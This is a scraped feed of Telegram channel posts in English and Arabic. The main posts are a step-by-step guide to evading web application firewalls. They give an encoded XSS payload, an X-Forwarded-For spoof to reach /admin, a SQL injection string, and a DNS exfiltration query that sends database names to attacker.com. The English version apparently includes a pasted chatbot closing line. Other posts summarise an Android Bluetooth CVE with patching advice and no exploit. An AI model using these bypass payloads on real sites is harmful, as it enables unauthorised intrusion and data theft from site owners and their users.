SPIDER1CODE

\n\nEncoded Payload (URL Encoding):\n\n%22%3E%3CIMG%20sRC=X%20onerror=jaVaScRipT:alertxss%3E\n\n\nIn this case, the WAF might fail to detect the encoded payload while the browser will still interpret and execute it normally.\n\n\n---\n\n2. Header Manipulation\n\nSome WAFs rely on analyzing request headers to detect malicious traffic. Modifying headers can help bypass them.\n\nExample: Spoofing X-Forwarded-For\n\nSome WAFs only block specific IPs. You can try bypassing it by adding a X-Forwarded-For header to appear as a trusted source.\n\nGET /admin HTTP/1.1 \nHost: target.com \nX-Forwarded-For: 127.0.0.1\n\nIf the WAF is improperly configured, it might think the request is coming from the localhost and allow it through.\n\n\n---\n\n3. HTTP Method Manipulation\n\nInstead of using standard HTTP methods like GET or POST, trying other methods such as HEAD or TRACE might work.\n\nExample:\n\nHEAD /admin HTTP/1.1\n\nor\n\nTRACE /admin HTTP/1.1\n\nSome WAFs do not inspect these methods as strictly as GET/POST.\n\n\n---\n\n4. Switching to Alternative Data Formats\n\nIf the WAF filters traditional form-based requests, try sending data in JSON or XML format instead.\n\nExample:\n\nInstead of:\n\nusername=admin' OR 1=1 --\n\nTry sending it as JSON:\n\n{ \"username\": \"admin' OR 1=1 --\", \"password\": \"password\" }\n\nSome WAFs are not designed to analyze JSON requests properly, which can allow the payload to bypass security.\n\n\n---\n\n5. Case Manipulation\n\nMany WAFs perform case-sensitive filtering, so modifying the letter case can sometimes bypass them.\n\nExample: XSS Attack Case Manipulation\n\nNormal Payload:\n\n\n\nBypass Attempt:\n\n\n\n\nIf the WAF only blocks lowercase \"script\", the uppercase version might go through.\n\n\n---\n\n6. Exploiting DNS-based Exfiltration\n\nSome WAFs block direct responses but still allow outbound connections, which can be used to extract data.\n\nExample:\n\nInstead of trying to display sensitive data on the screen, you can send it to an external server via DNS requests:\n\nSELECT LOAD_FILE(CONCAT('\\\\\\\\attacker.com\\\\', database()));\n\nor\n\nSELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0);\n\nIf the WAF does not filter outbound traffic, the database information might be leaked via DNS requests.\n\n\n---\n\n7. Finding WAF Vulnerabilities (CVE Exploits)\n\nThe ultimate method for bypassing a WAF is to find vulnerabilities in the WAF itself.\n\nSteps:\n\n1. Identify the WAF using tools like WAFW00F:\n\nwafw00f http://target.com\n\n\n2. Search for CVEs related to that WAF.\n\n\n3. Exploit known vulnerabilities to bypass or disable the WAF.\n\n\n\nFor example, if the target is using an outdated version of a cloud-based WAF, you might find a known CVE that allows bypassing its protection.\n\n\n---\n\nConclusion\n\nWAF bypassing is an ongoing challenge that requires creativity and persistence. Combining multiple techniques often yields the best results.\n\nIf one method doesn't work, try another approach—because there’s always a way!\n\nWould you like me to help you turn this into a video script or add more advanced techniques?","datePublished":"2025-03-19T11:23:23Z","dateModified":"2025-03-19T11:23:23Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":166},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/34","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/34","mainEntityOfPage":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/34","headline":"تعالو نتكلم عن موضوع مهم جدا و الي هو ازاي نعمل bypass لي waf ( web application firewall ) تحذير : 1 : القناه…","articleBody":"تعالو نتكلم عن موضوع مهم جدا و الي \n\nهو ازاي نعمل bypass لي\n\n waf ( web application firewall )\n\nتحذير : \n\n1 : القناه غير مسؤوله عن اي فعل خارج لاطار التعليمي\n\n2 : ممنوع نشر المقال دون ذكر اسم القال يكمن نشر المعلومه ولكن لا يمكن نشر الكتابه بحد ذاتها الي ب اذن من صاحب قناه\n\n\nنفترض عندنا سيناريو ل واحد نسمي\n\n حماصه حماصه كان قعد يهنت ولقي ثغره\n\n sql injection \n\nشرح سريع : sql injection دي بتحقن\n\n بايلود في اكواد sql بتاع موقع عشان \n\nتسحب داتا خاصه\n\nالمهم حماصه لما جه يستغل ثغره معرفش \n\nمعرفش يعملها exploit بسبب waf \n\nطيب حماصه يعمل اي ؟\n\nانا هقولك ✨\n\nاول حاجه : حماصه يجرب يلعب في\n\nبايلود يعمل encode بختصار\n\nطب زي اي يا سبايدر 🤔\n\nزي بايلود xss\n\n\n\nنفسو بعد ما تعمل encode url\n\n%22%3E%3CIMG%20sRC=X%20onerror=jaVaScRipT:alertxss%3E\n\nبايلود وقتها بيشتغل عادي كنو نفس لاول \n\nطيب نفرض مش اشتغل 🤔\n\nتاني خطوه :\n\nتلاعب في headers \n\nاي التلاعب في الهيدر دي ؟\n\nشوف تلاعب في الهيدر بتكون انك تحاول\n\n تغير حمايه زي X-Original-URL \n\nطيب ازاي 🤔\n\nبسيطه \n\nGET /admin HTTP/1.1\nHost: target.com\nX-Forwarded-For: 127.0.0.1\n\nطيب نفرض انها مش اشتغلت نعمل اي ؟\n\nنيجي لي خطوه تالته :\n\nنجرب نعدل ف HTTP ممكن نخلي \n\nTRACE \nو يشتغل معانا \n\nمثال \n\nHEAD /admin HTTP/1.1\nاو\nTRACE /admin HTTP/1.1\n\nبدل get او post\n\nطيب نفترض مش اشتغلت 🤔\n\nنيجي لي طريقه الرابعه :\n\nالخطوه دي شبه الي فاتت ولكن انت\n\n هتجرب تعدل الملف يكون مثلا xml \n\nمثال :\n/admin.json\n\nطيب نفترض مش اشتغلت 😂🤔\n\nهقولك بردو في خطوه خامسه 😂\n\nالخطوه الخامسه :\n\nو دي بسيطه في waf بيكون مش عارف\n\n يفرق بين الحروف الصغيره من حروف \nالكبير\n\nبتهزر يا سبايدر يعني waf طلع غبي كد \n\nهقولك ايو مثال \n\n\n\nدا كود xss عادي\n\n\n\nهو نفس الكود بنفس الطريقه \n\nطيب نفترض مش اشتغلت 🤔 \n\nهقولك في طريقه سادسه :\n\n\nالطريقه دي ممكن تتلاعب ف dns خاص \n\nبل موقع \n\nمثال :\n\nSELECT LOAD_FILE(CONCAT('\\\\\\\\attacker.com\\\\',database()));\n\nدا بايلود عادي\n\nSELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0);\n\nبعد تعديل \n\nطيب لو نجحت ؟\n\nاخر طريقه و هيا السابعه :\n\nشوف اصدار waf و دور علي cve لي\n\nو جرب cve كلهم لحد ما تقدر تعمل bypass \n\nشكرا ل قرائه المقال حاولت اكون خفيف و ملم بكل شئ 🤍","datePublished":"2025-03-19T11:21:11Z","dateModified":"2025-03-19T11:21:11Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":142},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/33","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/33","mainEntityOfPage":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/33","headline":"SPIDER1CODE","datePublished":"2025-03-18T20:22:27Z","dateModified":"2025-03-18T20:22:27Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":119},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/32","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/32","mainEntityOfPage":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/32","headline":"SPIDER1CODE","datePublished":"2025-03-17T23:40:02Z","dateModified":"2025-03-17T23:40:02Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":143},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/31","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/31","mainEntityOfPage":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/31","headline":"As We Explained iOS, Now It's Android's Turn! ⚠️ Two Warnings: 1. The channel is not responsible for any misu…","articleBody":"As We Explained iOS, Now It's Android's Turn!\n\n⚠️ Two Warnings:\n\n1. The channel is not responsible for any misuse of this information.\n\n\n2. All content is copyrighted. Contact us for permissions.\n\n\n\n\n---\n\n📌 Today’s Topic: A Unique CVE!\n\nA recently discovered zero-day vulnerability:\n\nCVE-2025-0074\n\n📅 Date of Discovery: December 13, 2024\n📅 Security Patch Released: March 3, 2025 💀\n\n\n---\n\n🔥 What Does This CVE Do?\n\nThis vulnerability exploits Bluetooth in a completely silent way—\n🚫 No user permission required\n🚫 No additional software needed\n🚫 No special privileges required\n\n🤯 So, someone can exploit this CVE on my device without me knowing?\n\n✔ Yes! And it allows Remote Code Execution (RCE). 😁\n\n\n---\n\n🛠️ How It Works\n\nThe attack is based on a Use-After-Free (UAF) vulnerability,\nwhich allows an attacker to inject and execute malicious code (malware) on the victim’s device without their knowledge.\n\n🚨 Severity Level: Critical\n\n\n---\n\n📱 Affected Devices\n\nBad news: 😢\n\nAffects Android 11, 12, 13, and 14.\n\n\nGood news: 😃\n\nDoes NOT affect Android 9 and lower.\n\n\n\n---\n\n✅ How to Protect Yourself?\n\n1️⃣ Update to the latest security patch ✅\n2️⃣ Use a trusted antivirus ✅\n3️⃣ Keep Bluetooth disabled when not in use ✅\n\n\n---\n\n💡 Thanks for your support! Your engagement helps me improve the content every day. Stay safe! 🤍\n\n\nSource :\n\nhttps://www.cve.org/CVERecord?id=CVE-2025-0074\n\nhttps://vulert.com/vuln-db/CVE-2025-0074\n\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0074\n\n\nhttps://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20250304","datePublished":"2025-03-17T23:35:15Z","dateModified":"2025-03-17T23:35:15Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":162},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/30","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/30","mainEntityOfPage":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1/posts/30","headline":"زي مشرحنا ios جه دور لاندرويد *تحذيرين* الاول : القناه غير مسؤوله عن فعل مستخدم التاني : القناه ليها حقوق طبع…","articleBody":"زي مشرحنا ios جه دور لاندرويد\n\n\n*تحذيرين* \n\n\nالاول : القناه غير مسؤوله عن فعل مستخدم\n\nالتاني : القناه ليها حقوق طبع و نشر\n\n\nنرجع ل موضوعنا 😁 \n\n\nالنهارده هنتكلم عن cve فريد من نوعو \n\nلسه نازل من قريب يعتبر و ركز يعتبر \n\nزيرو داي cve النهارده اسمو\n\nCVE-2025-0074\n\n\nالتاريخ : 2024 ديسمبر يوم 13 و 2025 مارس يوم 3 💀\n\n\nبيعمل اي الcve دا يا سبايدر 🙂\n\nبص يعزيزي الcve بيشتغل عن طريق \n\nبلوتوث بدون ركز معايا ف دي لا اذن من \n\nمستخدم ولا اضافات ولا امتيازت \n\nينهار ابيض يا سبايدر يعني انا ممكن \n\nاشوف حد عمل cve دا علي جهازي و انا مش عارف 😱\n\nهقولك ايو و كمان هيعمل rce 😁\n\nالله يطمنك طمنتني 🙂\n\nنرجع لموضوعنا ال cve بيشتغل عن \n\nطريق هجمه UAF ( Use-After-Free )\n\nو المره دي بتيح ان الشخص يكتب كود \n\nبرمجيات خبيثه ( malware ) علي جهاز \n\nالضحيه بدون علم منو و الثغره تم\n\n تنصيفها انه حرجه ( Critical ) \n\nطب الحمدالله انا جهازي اندرويد 14\n\n\nياااا يعزيزي يوسفني اقولك انو بيبداء من اول \n\nاندوريد 14 و اندرويد 13 و اندرويد 12\n \n\nو اندوريد 11 بس الخبر الحلو مش \n\n\nبتشتغل علي اندوريد قبل 11 يعني\n\n\n اندرويد 9 عادي و اقل منو \n\n\nطيب الحل اي ؟\n\nالحل :\n\nتحدث اخر اصدار عندك ✅\n\nتنزل antivirus ✅\n\nمش تبقي فاتح بلوتوث كتير ✅\n\n\nشكرا علي دعمكم لولا دعمكم ليا مش\n\nطورت المحتوي و دايما بحاول اطورو \n\nبسبب دعمكم و شكرا 🤍\n\n\nمصدر :\n\n\nhttps://www.cve.org/CVERecord?id=CVE-2025-0074\n\nhttps://vulert.com/vuln-db/CVE-2025-0074\n\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0074\n\n\nhttps://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20250304","datePublished":"2025-03-17T23:33:09Z","dateModified":"2025-03-17T23:33:09Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/ru/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":139},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}}]}